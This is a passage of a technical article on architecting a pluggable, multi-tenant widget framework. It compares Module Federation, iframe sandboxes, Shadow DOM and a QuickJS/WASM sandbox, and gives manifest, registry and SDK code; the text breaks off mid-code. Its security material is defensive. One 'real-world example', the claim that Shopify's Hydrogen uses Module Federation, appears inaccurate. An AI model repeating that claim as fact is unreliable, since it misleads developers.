Designing a frontend framework that hosts third-party extensions—dynamically loaded at runtime based on tenant configurations. This article covers the architectural decisions behind systems like VS Code extensions, Figma plugins, and Shopify embedded apps: module loading strategies (Webpack Module Federation vs SystemJS), sandboxing techniques (iframe, Shadow DOM, Web Workers, WASM), manifest and registry design, the host SDK API contract, and multi-tenant orchestration that resolves widget implementations per user or organization.

<figure>

![Widget framework architecture: tenant configuration determines which widgets load; registry provides manifests and URLs; loader mounts widgets into contribution points; SDK mediates communication.](./widget-framework-architecture-tenant-configuration-determines-which-widgets-load.svg)

<figcaption>Widget framework architecture: tenant configuration determines which widgets load; registry provides manifests and URLs; loader mounts widgets into contribution points; SDK mediates communication.</figcaption>
</figure>

## Abstract

A pluggable widget framework is a **microkernel architecture**: minimal core system + dynamically loaded extensions. The core decisions are:

1. **Loading strategy**: How does remote code enter the host?
   - Module Federation: optimal sharing, webpack-only, trusted code
   - SystemJS/import maps: standards-based, flexible, moderate performance
   - iframe: complete isolation, highest security, communication overhead

2. **Isolation boundary**: How much can widgets affect the host?
   - Same-origin (Module Federation): full DOM access, shared memory—trust required
   - iframe sandbox: separate browsing context, postMessage only
   - Shadow DOM: CSS isolation only, same JS context
   - WASM sandbox (Figma model): isolated JS engine, strongest security

3. **Extension points**: Where can widgets appear?
   - Contribution points: named slots in the UI that widgets register for
   - Declarative via manifest: host reads manifest, renders widget in appropriate slot

4. **Multi-tenancy**: How do different tenants get different widgets?
   - Tenant config service: maps tenant ID → enabled widget IDs
   - Registry resolution: widget ID → implementation URL
   - Feature flags: toggle widgets per tenant without redeployment

**Key numbers:**

| Aspect                | Module Federation   | iframe                    | WASM Sandbox             |
| --------------------- | ------------------- | ------------------------- | ------------------------ |
| Load overhead         | ~50ms (shared deps) | ~100-200ms (full context) | ~300-500ms (engine init) |
| Memory per widget     | Shared with host    | Separate heap (~10-50MB)  | Separate (~5-20MB)       |
| Communication latency | Microseconds        | ~1-5ms (postMessage)      | ~0.5-2ms (WASM boundary) |
| Security              | Same origin trust   | Strong isolation          | Strongest isolation      |

## The Challenge

### Why Build a Widget Framework?

**Extensibility without deployments**: Third parties add features without modifying host code. VS Code has 40,000+ extensions; the core team didn't build them.

**Multi-tenant customization**: Enterprise SaaS customers demand unique workflows. Widget A for Tenant X, Widget B for Tenant Y—without forking the codebase.

**Ecosystem growth**: A platform with extension capabilities attracts developers who build features you never considered.

### Browser Constraints

**Main thread budget**: Loading and initializing widgets competes with the host application. A poorly designed loader blocks the UI during startup.

**Memory limits**: Each iframe creates a separate JavaScript heap. Loading 10 widgets as iframes can consume 100-500MB—problematic on mobile devices (50-100MB practical limit).

**Network overhead**: Fetching widget bundles from different origins means separate HTTP connections, no shared caching of common dependencies.

### Security Requirements

**Untrusted code execution**: Third-party developers may write malicious or buggy code. Without isolation, a widget can:

- Access user credentials stored in localStorage
- Modify any DOM element, including login forms
- Make requests to any origin (CSRF)
- Crash the host application

**Defense in depth**:

| Threat            | Mitigation                                          |
| ----------------- | --------------------------------------------------- |
| DOM manipulation  | iframe sandbox, separate browsing context           |
| CSS pollution     | Shadow DOM, iframe                                  |
| Data exfiltration | CSP, sandbox restrictions                           |
| CPU exhaustion    | Web Worker isolation, timeout enforcement           |
| Memory leaks      | Widget lifecycle management, unload on deactivation |

### Scale Factors

| Factor               | Small Scale   | Large Scale           |
| -------------------- | ------------- | --------------------- |
| Widgets loaded       | 1-5           | 50-100                |
| Tenants              | 1-10          | 10,000+               |
| Widget registry size | 10-20 widgets | 1,000+ widgets        |
| Update frequency     | Weekly        | Continuous            |
| Widget developers    | Internal team | Third-party ecosystem |

## Design Paths

### Path 1: Webpack Module Federation

<figure>

![Module Federation: host and remotes share dependencies (React) via singleton negotiation; widgets load as federated modules.](./module-federation-host-and-remotes-share-dependencies-react-via-singleton-negoti.svg)

<figcaption>Module Federation: host and remotes share dependencies (React) via singleton negotiation; widgets load as federated modules.</figcaption>
</figure>

**How it works:**

Module Federation (Webpack 5+) allows separate webpack builds to share code at runtime. The host declares **remotes** (external builds to consume) and **shared** dependencies (libraries to deduplicate).

```typescript title="host/webpack.config.js" collapse={1-5, 25-30}
const { ModuleFederationPlugin } = require("webpack").container

module.exports = {
  // ... other config
  plugins: [
    new ModuleFederationPlugin({
      name: "host",
      remotes: {
        // Static remotes (known at build time)
        widgetA: "widgetA@https://cdn.example.com/widget-a/remoteEntry.js",
        // Dynamic remotes resolved at runtime
        widgetB: `promise new Promise(resolve => {
          const remoteUrl = window.__WIDGET_REGISTRY__["widgetB"];
          const script = document.createElement("script");
          script.src = remoteUrl;
          script.onload = () => resolve(window.widgetB);
          document.head.appendChild(script);
        })`,
      },
      shared: {
        react: { singleton: true, requiredVersion: "^18.0.0" },
        "react-dom": { singleton: true, requiredVersion: "^18.0.0" },
      },
    }),
  ],
}
```

```typescript title="widget-a/webpack.config.js" collapse={1-5, 20-25}
const { ModuleFederationPlugin } = require("webpack").container

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: "widgetA",
      filename: "remoteEntry.js",
      exposes: {
        "./Widget": "./src/Widget", // What this remote offers
      },
      shared: {
        react: { singleton: true, requiredVersion: "^18.0.0" },
        "react-dom": { singleton: true, requiredVersion: "^18.0.0" },
      },
    }),
  ],
}
```

**Runtime loading:**

```typescript title="host/src/WidgetLoader.tsx" collapse={1-3}
import React, { Suspense, lazy } from "react";

// Dynamic import of federated module
const WidgetA = lazy(() => import("widgetA/Widget"));

export function WidgetSlot({ widgetId }: { widgetId: string }) {
  // In production: resolve widget ID to remote dynamically
  return (
    <Suspense fallback={<WidgetSkeleton />}>
      <WidgetA />
    </Suspense>
  );
}
```

**Dependency sharing mechanics:**

1. Host starts, loads `remoteEntry.js` for each remote
2. Remote entry registers available modules and shared dependencies
3. When host imports a remote module, federation checks shared scope
4. If compatible version exists, reuse; otherwise, load remote's bundled copy
5. `singleton: true` ensures only one instance (critical for React context)

**Best for:**

- Trusted first-party widgets (internal teams)
- Micro-frontend architectures with shared design systems
- Performance-critical scenarios where bundle size matters

**Device/network profile:**

- Works well on: Desktop, fast networks, trusted widget sources
- Struggles on: Untrusted third-party code (no isolation), slow networks (remote entry overhead)

**Implementation complexity:**

| Aspect             | Effort                              |
| ------------------ | ----------------------------------- |
| Initial setup      | High (webpack config complexity)    |
| Adding new widgets | Low (configure remote URL)          |
| Version management | Medium (shared version negotiation) |
| Security           | Low (same-origin trust model)       |

**Real-world example:**

**Shopify's Hydrogen** uses Module Federation for composable storefronts. Multiple teams build sections independently; the storefront shell loads them at runtime with shared Remix/React dependencies.

**Trade-offs:**

- Shared dependencies reduce duplicate downloads (30-50% smaller total payload)
- Same JavaScript context—widgets can access host globals
- Webpack-only (no native Vite support as of 2025; use `vite-plugin-federation`)
- Version mismatches cause runtime errors

**Security consideration:** Module Federation provides **no isolation**. Widgets execute in the same origin with full DOM access. Use only for trusted code or combine with additional sandboxing.

### Path 2: iframe Sandbox

<figure>

![iframe sandbox: widget runs in isolated browsing context; communication via postMessage only.](./iframe-sandbox-widget-runs-in-isolated-browsing-context-communication-via-postme.svg)

<figcaption>iframe sandbox: widget runs in isolated browsing context; communication via postMessage only.</figcaption>
</figure>

**How it works:**

The `<iframe sandbox>` attribute creates a separate browsing context with restricted capabilities. By default, a sandboxed iframe:

- Cannot execute scripts
- Cannot submit forms
- Cannot access parent DOM
- Cannot navigate the top-level browsing context
- Cannot use plugins

Capabilities are granted explicitly:

```html
<iframe
  src="https://widget.example.com/widget-a"
  sandbox="allow-scripts allow-same-origin"
  allow="clipboard-read; clipboard-write"
  csp="script-src 'self'; style-src 'self' 'unsafe-inline'"
></iframe>
```

**Sandbox attribute options:**

| Attribute              | Grants                                                       |
| ---------------------- | ------------------------------------------------------------ |
| `allow-scripts`        | JavaScript execution                                         |
| `allow-same-origin`    | Treats content as same origin (dangerous with allow-scripts) |
| `allow-forms`          | Form submission                                              |
| `allow-popups`         | Window.open(), target="\_blank"                              |
| `allow-modals`         | alert(), confirm(), prompt()                                 |
| `allow-top-navigation` | Navigate parent window                                       |

**Security warning:** Never combine `allow-scripts` and `allow-same-origin` for untrusted content. The iframe can remove its own sandbox attribute and escape.

**Communication via postMessage:**

```typescript title="host/src/WidgetBridge.ts"
interface WidgetMessage {
  type: string
  requestId: string
  payload: unknown
}

class WidgetBridge {
  private iframe: HTMLIFrameElement
  private pendingRequests = new Map<string, { resolve: Function; reject: Function }>()
  private trustedOrigin: string

  constructor(iframe: HTMLIFrameElement, trustedOrigin: string) {
    this.iframe = iframe
    this.trustedOrigin = trustedOrigin
    window.addEventListener("message", this.handleMessage)
  }

  private handleMessage = (event: MessageEvent<WidgetMessage>) => {
    // CRITICAL: Always validate origin
    if (event.origin !== this.trustedOrigin) return

    const { type, requestId, payload } = event.data

    if (type === "API_RESPONSE" && this.pendingRequests.has(requestId)) {
      const { resolve } = this.pendingRequests.get(requestId)!
      this.pendingRequests.delete(requestId)
      resolve(payload)
    }
  }

  async call(method: string, args: unknown[]): Promise<unknown> {
    const requestId = crypto.randomUUID()

    return new Promise((resolve, reject) => {
      this.pendingRequests.set(requestId, { resolve, reject })

      this.iframe.contentWindow?.postMessage(
        { type: "API_CALL", requestId, method, args },
        this.trustedOrigin, // CRITICAL: Specify target origin
      )

      // Timeout to prevent hanging requests
      setTimeout(() => {
        if (this.pendingRequests.has(requestId)) {
          this.pendingRequests.delete(requestId)
          reject(new Error(`Widget call timed out: ${method}`))
        }
      }, 5000)
    })
  }
}
```

```typescript title="widget/src/sdk-shim.ts"
// Inside the iframe: SDK shim that talks to host
const hostSDK = {
  async showNotification(message: string): Promise<void> {
    return callHost("showNotification", [message])
  },

  async getData(key: string): Promise<unknown> {
    return callHost("getData", [key])
  },
}

function callHost(method: string, args: unknown[]): Promise<unknown> {
  const requestId = crypto.randomUUID()

  return new Promise((resolve) => {
    const handler = (event: MessageEvent) => {
      if (event.data.requestId === requestId && event.data.type === "API_RESPONSE") {
        window.removeEventListener("message", handler)
        resolve(event.data.payload)
      }
    }
    window.addEventListener("message", handler)

    window.parent.postMessage(
      { type: "API_CALL", requestId, method, args },
      "*", // Widget doesn't know host origin; host validates on receive
    )
  })
}

// Expose SDK to widget code
;(window as any).hostSDK = hostSDK
```

**Best for:**

- Untrusted third-party widgets
- Payment forms, authentication widgets (PCI/SOC2 compliance)
- Widgets that need strong isolation guarantees

**Device/network profile:**

- Works well on: All devices, any network (self-contained)
- Struggles on: Mobile (memory overhead), many simultaneous widgets

**Implementation complexity:**

| Aspect             | Effort                                |
| ------------------ | ------------------------------------- |
| Initial setup      | Medium (iframe + postMessage)         |
| Adding new widgets | Low (point to URL)                    |
| Performance tuning | High (message serialization overhead) |
| Security           | Low (browser provides isolation)      |

**Real-world example:**

**Figma plugins** use iframe for UI rendering combined with a WASM sandbox for document manipulation. The iframe displays the plugin UI; a separate QuickJS WASM sandbox runs the logic that reads/writes the Figma document.

**Trade-offs:**

- Strongest browser-native isolation
- Each iframe creates separate JS heap (10-50MB overhead)
- postMessage serialization adds 1-5ms latency per call
- No shared dependencies (duplicate React, etc.)
- Cross-origin communication requires careful origin validation

### Path 3: Shadow DOM + Web Components

<figure>

![Shadow DOM: CSS isolation via encapsulated DOM tree; JavaScript shares host context.](./shadow-dom-css-isolation-via-encapsulated-dom-tree-javascript-shares-host-contex.svg)

<figcaption>Shadow DOM: CSS isolation via encapsulated DOM tree; JavaScript shares host context.</figcaption>
</figure>

**How it works:**

Shadow DOM creates an encapsulated DOM subtree with its own style scope. Styles inside don't leak out; external styles don't leak in.

```typescript title="host/src/WidgetContainer.ts"
class WidgetContainer extends HTMLElement {
  private shadow: ShadowRoot

  constructor() {
    super()
    // 'closed' prevents external access to shadow root
    this.shadow = this.attachShadow({ mode: "closed" })
  }

  async loadWidget(widgetUrl: string) {
    // Fetch widget bundle
    const response = await fetch(widgetUrl)
    const widgetCode = await response.text()

    // Create isolated style scope
    const style = document.createElement("style")
    style.textContent = await this.fetchWidgetStyles(widgetUrl)

    // Create widget container
    const container = document.createElement("div")
    container.className = "widget-root"

    this.shadow.appendChild(style)
    this.shadow.appendChild(container)

    // Execute widget code in this context
    // WARNING: No JS isolation—widget code runs in host context
    const widgetModule = new Function("container", "hostSDK", widgetCode)
    widgetModule(container, window.hostSDK)
  }
}

customElements.define("widget-container", WidgetContainer)
```

**CSS isolation guarantees:**

- Widget styles scoped to shadow root
- Host styles don't affect widget (unless using CSS custom properties)
- Widget cannot style host elements
- `::part()` and CSS variables allow controlled customization

```css
/* Widget internal styles (inside shadow DOM) */
.button {
  /* This .button won't conflict with host's .button */
  background: var(--widget-primary, blue); /* Customizable via CSS var */
}
```

```css
/* Host can customize via CSS custom properties */
widget-container {
  --widget-primary: red; /* Passes through shadow boundary */
}
```

**Best for:**

- Design system components with style encapsulation
- Trusted widgets that need CSS isolation but not JS isolation
- Web Components-based architectures

**Device/network profile:**

- Works well on: All modern browsers, any device
- Struggles on: Scenarios requiring JavaScript isolation

**Implementation complexity:**

| Aspect                | Effort                             |
| --------------------- | ---------------------------------- |
| Initial setup         | Low (native browser API)           |
| CSS isolation         | Low (automatic)                    |
| JS isolation          | None (same context)                |
| Framework integration | Medium (React/Vue wrappers needed) |

**Trade-offs:**

- Lightweight: No separate heap or context
- CSS isolation is complete
- No JavaScript isolation—widgets can access globals, DOM, etc.
- Requires combining with other techniques for untrusted code

### Path 4: WASM Sandbox (Figma Model)

<figure>

![WASM sandbox: JavaScript engine (QuickJS) compiled to WebAssembly runs plugin logic; separate iframe renders UI.](./wasm-sandbox-javascript-engine-quickjs-compiled-to-webassembly-runs-plugin-logic.svg)

<figcaption>WASM sandbox: JavaScript engine (QuickJS) compiled to WebAssembly runs plugin logic; separate iframe renders UI.</figcaption>
</figure>

**How it works:**

Figma's approach: compile a JavaScript engine (QuickJS) to WebAssembly. Plugin code runs inside this embedded JS engine—completely isolated from the host JavaScript context.

**Why QuickJS + WASM?**

1. **No eval()**: Running untrusted JS usually requires `eval()` or `new Function()`, which CSP blocks. QuickJS interprets JS without these.
2. **Capability-based security**: WASM provides no default I/O. Plugin only accesses what the host explicitly provides via API.
3. **Deterministic execution**: Same code, same inputs → same outputs. Useful for collaborative features.

```typescript title="host/src/WasmSandbox.ts" collapse={1-5, 35-45}
import { newQuickJSWASMModule, QuickJSWASMModule, QuickJSContext } from "quickjs-emscripten"

class PluginSandbox {
  private vm: QuickJSWASMModule
  private context: QuickJSContext

  async initialize() {
    this.vm = await newQuickJSWASMModule()
    this.context = this.vm.newContext()

    // Expose host API to sandbox
    this.exposeHostAPI()
  }

  private exposeHostAPI() {
    const hostAPI = this.context.newObject()

    // Expose showNotification
    const showNotification = this.context.newFunction("showNotification", (msgHandle) => {
      const message = this.context.getString(msgHandle)
      // Call actual host notification system
      window.hostNotifications.show(message)
      return this.context.undefined
    })

    this.context.setProp(hostAPI, "showNotification", showNotification)
    this.context.setProp(this.context.global, "figma", hostAPI)

    showNotification.dispose()
    hostAPI.dispose()
  }

  async executePlugin(code: string): Promise<void> {
    const result = this.context.evalCode(code)
    if (result.error) {
      const error = this.context.dump(result.error)
      result.error.dispose()
      throw new Error(`Plugin error: ${JSON.stringify(error)}`)
    }
    result.value.dispose()
  }

  dispose() {
    this.context.dispose()
    this.vm.dispose()
  }
}
```

**Two-part plugin architecture (Figma):**

1. **UI iframe**: Renders plugin UI using HTML/CSS. Communicates with logic via postMessage.
2. **WASM sandbox**: Runs plugin logic. Has access to Figma document API. No DOM access.

This separation prevents plugins from both manipulating the document AND accessing arbitrary DOM.

**Best for:**

- Highest security requirements
- Platforms where plugins manipulate sensitive documents
- When you cannot trust third-party code at all

**Device/network profile:**

- Works well on: Desktop, modern mobile (WASM support universal since 2017)
- Struggles on: Low-memory devices (WASM instance overhead), very complex plugins (QuickJS slower than V8)

**Implementation complexity:**

| Aspect             | Effort                                      |
| ------------------ | ------------------------------------------- |
| Initial setup      | Very High (custom sandbox)                  |
| API surface design | High (every API must be explicitly exposed) |
| Performance tuning | High (WASM boundary crossing)               |
| Security           | Low (isolation is architectural)            |

**Trade-offs:**

- Strongest isolation (capability-based security)
- 300-500ms initialization overhead (loading WASM module)
- QuickJS performance ~10-30x slower than V8
- Complex to implement; consider using existing libraries (quickjs-emscripten)
- Plugin capabilities are exactly what you expose—no accidental surface

### Decision Matrix

| Factor              | Module Federation | iframe Sandbox      | Shadow DOM  | WASM Sandbox         |
| ------------------- | ----------------- | ------------------- | ----------- | -------------------- |
| JS Isolation        | None              | Strong              | None        | Strongest            |
| CSS Isolation       | None              | Complete            | Complete    | N/A (no DOM)         |
| Shared dependencies | Yes               | No                  | Manual      | No                   |
| Load time           | Fast (50ms)       | Medium (100-200ms)  | Fast (10ms) | Slow (300-500ms)     |
| Memory per widget   | Shared            | 10-50MB             | Shared      | 5-20MB               |
| Communication       | Direct            | postMessage (1-5ms) | Direct      | WASM boundary (~1ms) |
| Trust model         | Same-origin       | Untrusted           | Same-origin | Untrusted            |
| Browser support     | Webpack only      | Universal           | Universal   | Universal            |

### Decision Framework

<figure>

![Decision tree for selecting widget isolation strategy based on trust level and security requirements.](./decision-tree-for-selecting-widget-isolation-strategy-based-on-trust-level-and-s.svg)

<figcaption>Decision tree for selecting widget isolation strategy based on trust level and security requirements.</figcaption>
</figure>

## The Registry and Manifest

### Manifest Structure

Every widget declares its capabilities, entry points, and requirements via a manifest file. This enables the host to:

- Validate widget compatibility before loading
- Render UI contributions without loading widget code
- Enforce permission boundaries

```json title="widget-a/manifest.json"
{
  "$schema": "https://widgets.example.com/manifest.schema.json",
  "id": "com.example.video-player",
  "name": "Premium Video Player",
  "version": "2.1.0",
  "description": "HD video player with adaptive streaming",
  "author": {
    "name": "Example Corp",
    "email": "widgets@example.com",
    "url": "https://example.com"
  },

  "host": {
    "minVersion": "3.0.0",
    "maxVersion": "4.x"
  },

  "main": "./dist/widget.js",
  "styles": "./dist/widget.css",
  "remoteEntry": "./dist/remoteEntry.js",

  "contributes": {
    "slots": [
      {
        "id": "content-area",
        "component": "VideoPlayer",
        "props": {
          "defaultQuality": "auto"
        }
      }
    ],
    "commands": [
      {
        "id": "video-player.play",
        "title": "Play Video"
      },
      {
        "id": "video-player.pause",
        "title": "Pause Video"
      }
    ],
    "settings": [
      {
        "id": "video-player.autoplay",
        "type": "boolean",
        "default": false,
        "title": "Autoplay videos"
      }
    ]
  },

  "permissions": ["storage.local", "network.fetch", "ui.notifications"],

  "dependencies": {
    "react": "^18.0.0",
    "react-dom": "^18.0.0"
  },

  "activationEvents": ["onSlot:content-area", "onCommand:video-player.play"],

  "sandbox": {
    "type": "iframe",
    "allow": ["scripts", "forms"],
    "csp": "script-src 'self'; style-src 'self' 'unsafe-inline'"
  }
}
```

**Key manifest fields:**

| Field                  | Purpose                                              |
| ---------------------- | ---------------------------------------------------- |
| `id`                   | Globally unique identifier (reverse domain notation) |
| `host.minVersion`      | Minimum host version for compatibility               |
| `main`                 | Entry point for widget code                          |
| `remoteEntry`          | Module Federation entry (if applicable)              |
| `contributes.slots`    | UI contribution points                               |
| `contributes.commands` | Registered commands                                  |
| `permissions`          | Required host capabilities                           |
| `activationEvents`     | When to load the widget                              |
| `sandbox`              | Isolation requirements                               |

### Contribution Points (Slots)

Contribution points are named locations in the host UI where widgets can render content. The host declares available slots; widgets register for slots they want to fill.

```typescript title="host/src/SlotRegistry.ts"
interface Slot {
  id: string
  multiple: boolean // Can multiple widgets contribute?
  props: Record<string, unknown> // Props passed to widget
}

interface SlotContribution {
  widgetId: string
  slotId: string
  component: string
  priority: number
}

class SlotRegistry {
  private slots = new Map<string, Slot>()
  private contributions = new Map<string, SlotContribution[]>()

  registerSlot(slot: Slot) {
    this.slots.set(slot.id, slot)
  }

  registerContribution(contribution: SlotContribution) {
    const existing = this.contributions.get(contribution.slotId) || []
    existing.push(contribution)
    existing.sort((a, b) => b.priority - a.priority)
    this.contributions.set(contribution.slotId, existing)
  }

  getContributionsForSlot(slotId: string): SlotContribution[] {
    const slot = this.slots.get(slotId)
    if (!slot) return []

    const contributions = this.contributions.get(slotId) || []
    return slot.multiple ? contributions : contributions.slice(0, 1)
  }
}
```

```tsx title="host/src/ContributionPoint.tsx"
function ContributionPoint({ slotId }: { slotId: string }) {
  const contributions = useSlotContributions(slotId)

  return (
    <div className="contribution-point" data-slot={slotId}>
      {contributions.map((contribution) => (
        <WidgetRenderer
          key={contribution.widgetId}
          widgetId={contribution.widgetId}
          component={contribution.component}
        />
      ))}
    </div>
  )
}
```

**Slot patterns from VS Code:**

| Slot Type       | Example        | Behavior                      |
| --------------- | -------------- | ----------------------------- |
| `viewContainer` | Sidebar panels | Multiple widgets, tabbed      |
| `view`          | Tree views     | Single widget per view        |
| `statusBarItem` | Status bar     | Multiple, ordered by priority |
| `menu`          | Context menus  | Multiple, grouped             |

### Widget Registry

The registry is a service that maps widget IDs to their manifests and entry points. It handles:

- Widget discovery and search
- Version resolution
- Dependency validation
- URL resolution for loading

```typescript title="host/src/WidgetRegistry.ts"
interface RegistryEntry {
  id: string
  manifest: WidgetManifest
  versions: {
    version: string
    url: string
    checksum: string
    publishedAt: Date
  }[]
}

interface ResolvedWidget {
  id: string
  version: string
  manifestUrl: string
  entryUrl: string
  checksum: string
}

class WidgetRegistry {
  private baseUrl: string
  private cache = new Map<string, RegistryEntry>()

  constructor(baseUrl: string) {
    this.baseUrl = baseUrl
  }

  async resolve(widgetId: string, versionConstraint: string = "latest"): Promise<ResolvedWidget> {
    // Fetch registry entry
    const entry = await this.fetchEntry(widgetId)

    // Resolve version constraint (semver)
    const version = this.resolveVersion(entry.versions, versionConstraint)
    if (!version) {
      throw new Error(`No version matching ${versionConstraint} for ${widgetId}`)
    }

    // Validate host compatibility
    const manifest = await this.fetchManifest(version.url)
    this.validateHostCompatibility(manifest)

    return {
      id: widgetId,
      version: version.version,
      manifestUrl: `${version.url}/manifest.json`,
      entryUrl: `${version.url}/${manifest.main}`,
      checksum: version.checksum,
    }
  }

  private async fetchEntry(widgetId: string): Promise<RegistryEntry> {
    if (this.cache.has(widgetId)) {
      return this.cache.get(widgetId)!
    }

    const response = await fetch(`${this.baseUrl}/widgets/${widgetId}`)
    if (!response.ok) {
      throw new Error(`Widget not found: ${widgetId}`)
    }

    const entry = await response.json()
    this.cache.set(widgetId, entry)
    return entry
  }

  private resolveVersion(
    versions: RegistryEntry["versions"],
    constraint: string,
  ): RegistryEntry["versions"][0] | undefined {
    if (constraint === "latest") {
      return versions[0] // Assumes sorted by version desc
    }

    // Semver matching
    return versions.find((v) => satisfies(v.version, constraint))
  }

  private validateHostCompatibility(manifest: WidgetManifest) {
    const hostVersion = getHostVersion()
    const { minVersion, maxVersion } = manifest.host

    if (minVersion && !gte(hostVersion, minVersion)) {
      throw new Error(`Widget requires host >= ${minVersion}`)
    }
    if (maxVersion && !satisfies(hostVersion, maxVersion)) {
      throw new Error(`Widget incompatible with host ${hostVersion}`)
    }
  }
}
```

**Registry API design:**

```
GET /widgets                    # List all widgets (paginated)
GET /widgets/{id}               # Get widget metadata
GET /widgets/{id}/versions      # List versions
GET /widgets/{id}@{version}     # Get specific version
POST /widgets                   # Publish new widget (authenticated)
DELETE /widgets/{id}@{version}  # Unpublish version (admin)
```

## Host SDK (Extension API)

### API Contract

The host exposes a controlled API surface that widgets use to interact with the system. This creates a stable contract and security boundary.

```typescript title="host/src/HostSDK.ts"
interface HostSDK {
  // Lifecycle
  readonly version: string
  onActivate(callback: () => void): Disposable
  onDeactivate(callback: () => void): Disposable

  // UI
  showNotification(options: NotificationOptions): Promise<void>
  showModal(options: ModalOptions): Promise<ModalResult>
  registerCommand(id: string, handler: CommandHandler): Disposable

  // Data
  getData<T>(key: string): Promise<T | undefined>
  setData<T>(key: string, value: T): Promise<void>
  subscribeToData<T>(key: string, callback: (value: T) => void): Disposable

  // Storage (widget-scoped)
  storage: {
    get<T>(key: string): Promise<T | undefined>
    set<T>(key: string, value: T): Promise<void>
    delete(key: string): Promise<void>
  }

  // Network (proxied through host)
  fetch(url: string, options?: RequestInit): Promise<Response>

  // Events
  onEvent(eventType: string, handler: EventHandler): Disposable
  emitEvent(eventType: string, payload: unknown): void
}

interface Disposable {
  dispose(): void
}

interface NotificationOptions {
  type: "info" | "warning" | "error"
  message: string
  duration?: number
  actions?: { label: string; action: () => void }[]
}
```

### SDK Implementation for iframe Widgets

```typescript title="host/src/IframeSDK.ts"
class IframeSDKHost {
  private iframe: HTMLIFrameElement
  private widgetId: string
  private handlers = new Map<string, Function>()

  constructor(iframe: HTMLIFrameElement, widgetId: string) {
    this.iframe = iframe
    this.widgetId = widgetId
    window.addEventListener("message", this.handleMessage)
  }

  private handleMessage = async (event: MessageEvent) => {
    // Validate origin matches expected widget origin
    if (!this.isValidOrigin(event.origin)) return

    const { type, requestId, method, args } = event.data
    if (type !== "SDK_CALL") return

    try {
      const result = await this.executeMethod(method, args)
      this.respond(requestId, { success: true, result })
    } catch (error) {
      this.respond(requestId, { success: false, error: String(error) })
    }
  }

  private async executeMethod(method: string, args: unknown[]): Promise<unknown> {
    // Permission check
    const permission = this.getRequiredPermission(method)
    if (permission && !this.hasPermission(permission)) {
      throw new Error(`Permission denied: ${permission}`)
    }

    switch (method) {
      case "showNotification":
        return this.showNotification(args[0] as NotificationOptions)

      case "getData":
        return this.getData(args[0] as string)

      case "setData":
        return this.setData(args[0] as string, args[1])

      case "storage.get":
        return this.widgetStorage.get(this.widgetId, args[0] as string)

      case "fetch":
        // Proxy fetch to enforce CORS and CSP
        return this.proxyFetch(args[0] as string, args[1] as RequestInit)

      default:
        throw new Error(`Unknown method: ${method}`)
    }
  }

  private respond(requestId: string, response: unknown) {
    this.iframe.contentWindow?.postMessage(
      { type: "SDK_RESPONSE", requestId, ...response },
      "*", // iframe origin already validated on receive
    )
  }

  private getRequiredPermission(method: string): string | undefined {
    const permissionMap: Record<string, string> = {
      showNotification: "ui.notifications",
      fetch: "network.fetch",
      "storage.get": "storage.local",
      "storage.set": "storage.local",
    }
    return permissionMap[method]
  }
}
```

### SDK Shim for Widget Side

```typescript title="widget-sdk/src/index.ts"
class WidgetSDK implements HostSDK {
  private pendingRequests = new Map<
    string,
    {
      resolve: (value: unknown) => void
      reject: (error: Error) => void
    }
  >()

  constructor() {
    window.addEventListener("message", this.handleResponse)
  }

  private handleResponse = (event: MessageEvent) => {
    const { type, requestId, success, result, error } = event.data
    if (type !== "SDK_RESPONSE") return

    const pending = this.pendingRequests.get(requestId)
    if (!pending) return

    this.pendingRequests.delete(requestId)

    if (success) {
      pending.resolve(result)
    } else {
      pending.reject(new Error(error))
    }
  }

  private call<T>(method: string, args: unknown[] = []): Promise<T> {
    return new Promise((resolve, reject) => {
      const requestId = crypto.randomUUID()
      this.pendingRequests.set(requestId, { resolve: resolve as any, reject })

      window.parent.postMessage({ type: "SDK_CALL", requestId, method, args }, "*")

      // Timeout after 10 seconds
      setTimeout(() => {
        if (this.pendingRequests.has(requestId)) {
          this.pendingRequests.delete(requestId)
          reject(new Error(`SDK call timeout: ${method}`))
        }
      }, 10000)
    })
  }

  // Public API implementation
  get version(): string {
    return "1.0.0"
  }

  async showNotification(options: NotificationOptions): Promise<void> {
    return this.call("showNotification", [options])
  }

  async getData<T>(key: string): Promise<T | undefined> {
    return this.call("getData", [key])
  }

  storage = {
    get: <T>(key: string) => this.call<T>("storage.get", [key]),
    set: <T>(key: string, value: T) => this.call<void>("storage.set", [key, value]),
    delete: (key: string) => this.call<void>("storage.delete", [key]),
  }

  // ... other methods
}

// Export singleton
export const hostSDK = new WidgetSDK()
```

## Multi-Tenant Orchestration

### Tenant Configuration Resolution

The tenant config service maps tenant identifiers to their widget configurations. This enables per-tenant customization without code changes.

<figure>

![Multi-tenant widget loading flow: tenant config determines widget IDs; registry resolves to URLs; CDN serves bundles.](./multi-tenant-widget-loading-flow-tenant-config-determines-widget-ids-registry-re.svg)

<figcaption>Multi-tenant widget loading flow: tenant config determines widget IDs; registry resolves to URLs; CDN serves bundles.</figcaption>
</figure>

```typescript title="host/src/TenantConfig.ts"
interface TenantWidgetConfig {
  widgetId: string
  version?: string // Optional: defaults to "latest"
  slot: string
  config?: Record<string, unknown> // Widget-specific config
  enabled: boolean
}

interface TenantConfig {
  tenantId: string
  widgets: TenantWidgetConfig[]
  featureFlags: Record<string, boolean>
  theme?: ThemeConfig
}

class TenantConfigService {
  private configCache = new Map<string, TenantConfig>()
  private baseUrl: string

  constructor(baseUrl: string) {
    this.baseUrl = baseUrl
  }

  async getConfig(tenantId: string): Promise<TenantConfig> {
    // Check cache first
    if (this.configCache.has(tenantId)) {
      return this.configCache.get(tenantId)!
    }

    const response = await fetch(`${this.baseUrl}/tenants/${tenantId}/config`)
    if (!response.ok) {
      // Fall back to default config
      return this.getDefaultConfig(tenantId)
    }

    const config = await response.json()
    this.configCache.set(tenantId, config)
    return config
  }

  private getDefaultConfig(tenantId: string): TenantConfig {
    return {
      tenantId,
      widgets: [], // No widgets by default
      featureFlags: {},
    }
  }

  async refreshConfig(tenantId: string): Promise<TenantConfig> {
    this.configCache.delete(tenantId)
    return this.getConfig(tenantId)
  }
}
```

### Widget Loader Orchestration

```typescript title="host/src/WidgetOrchestrator.ts"
interface LoadedWidget {
  id: string
  version: string
  slot: string
  instance: WidgetInstance
  state: "loading" | "active" | "error" | "inactive"
}

class WidgetOrchestrator {
  private tenantConfig: TenantConfigService
  private registry: WidgetRegistry
  private loadedWidgets = new Map<string, LoadedWidget>()
  private slotRegistry: SlotRegistry

  async initialize(tenantId: string) {
    // 1. Fetch tenant configuration
    const config = await this.tenantConfig.getConfig(tenantId)

    // 2. Filter enabled widgets
    const enabledWidgets = config.widgets.filter((w) => w.enabled)

